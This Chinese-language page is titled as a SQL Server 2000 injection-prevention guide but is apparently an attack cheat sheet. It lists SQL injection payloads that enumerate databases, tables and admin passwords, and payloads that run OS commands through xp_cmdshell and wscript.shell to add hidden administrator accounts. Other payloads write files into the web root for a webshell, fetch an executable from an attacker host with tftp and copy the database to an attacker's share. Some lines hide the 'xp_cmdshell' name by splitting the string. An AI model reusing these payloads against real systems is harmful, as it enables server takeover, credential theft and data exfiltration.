SQL Server 2000 注入防护大全(一) Sql注入早源于'or'1'='1 最重要的表名： select * from sysobjects sysobjects ncsysobjects sysindexes tsysindexes syscolumns systypes sysusers sysdatabases sysxlogins sysprocesses 　　最重要的一些用户名（默认sql数据库中存在着的） public dbo guest(一般禁止，或者没权限) db_sercurityadmin ab_dlladmin 　　一些默认扩展 xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite xp_availablemedia 驱动器相关 xp_dirtree 目录 xp_enumdsn ODBC连接 xp_loginconfig 服务器安全模式信息 xp_makecab 创建压缩卷 xp_ntsec_enumdomains domain信息 xp_terminate_process 终端进程，给出一个PID 例如： sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' exec xp_webserver sp_dropextendedproc 'xp_webserver' bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar ' group by users.id having 1=1- ' group by users.id, users.username, users.password, users.privs having 1=1- '; insert into users values( 666, 'attacker', 'foobar', 0xffff )- union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'- union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')- union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')- union select TOP 1 login_name FROM logintable- union select TOP 1 password FROM logintable where login_name='Rahul'-- 　　构造语句：查询是否存在xp_cmdshell ' union select @@version,1,1,1-- and 1=(select @@VERSION) and 'sa'=(select System_user) ' union select ret,1,1,1 from foo-- ' union select min(username),1,1,1 from users where username > 'a'- ' union select min(username),1,1,1 from users where username > 'admin'- ' union select password,1,1,1 from users where username = 'admin'-- and user_name()='dbo' and 0<>(select user_name()- ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user swap 5245886 /add' and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell') and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否 and 0<>(select top 1 paths from newtable)-- 暴库大法 and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断） 　　创建一个虚拟目录E盘： declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e：\"' 访问属性：（配合写入一个webshell） declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse' and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的数据库名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in ('id',...)) 来暴出其他的字段 and 0<(select user_id from BBS.dbo.admin where username>1) 　　可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段 Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union语句到处风靡啊，access也好用 　　暴库特殊技巧：:%5c='\' 或者把/和\ 修改%5提交 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 _blank>[url=http://xx.xx.xx.xx/111.asp?id=3400]http://xx.xx.xx.xx/111.asp?id=3400[/url];create table [dbo].[swap] ([swappass][char](255));-- _blank>[url=http://xx.xx.xx.xx/111.asp?id=3400]http://xx.xx.xx.xx/111.asp?id=3400[/url] and (select top 1 swappass from swap)=1 ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test) _blank>[url=http://61.131.96.39/PageShow.asp?TianName=]http://61.131.96.39/PageShow.asp?TianName=[/url]政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";-- 　　得到了web路径d:\xxxx,接下来： _blank>[url=http://xx.xx.xx.xx/111.asp?id=3400]http://xx.xx.xx.xx/111.asp?id=3400[/url];use ku1;-- _blank>[url=http://xx.xx.xx.xx/111.asp?id=3400]http://xx.xx.xx.xx/111.asp?id=3400[/url];create table cmd (str image);-- 　　传统的存在xp_cmdshell的测试过程： ;exec master..xp_cmdshell 'dir' ;exec master.dbo.sp_addlogin hax;-- ;exec master.dbo.sp_password null,hax,hax;-- ;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server' http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user swap 5258 /add' ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net localgroup administrators swap/add' _blank>[url=http://localhost/show.asp?id=1]http://localhost/show.asp?id=1[/url]'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\' ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' 如果被限制则可以。 select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')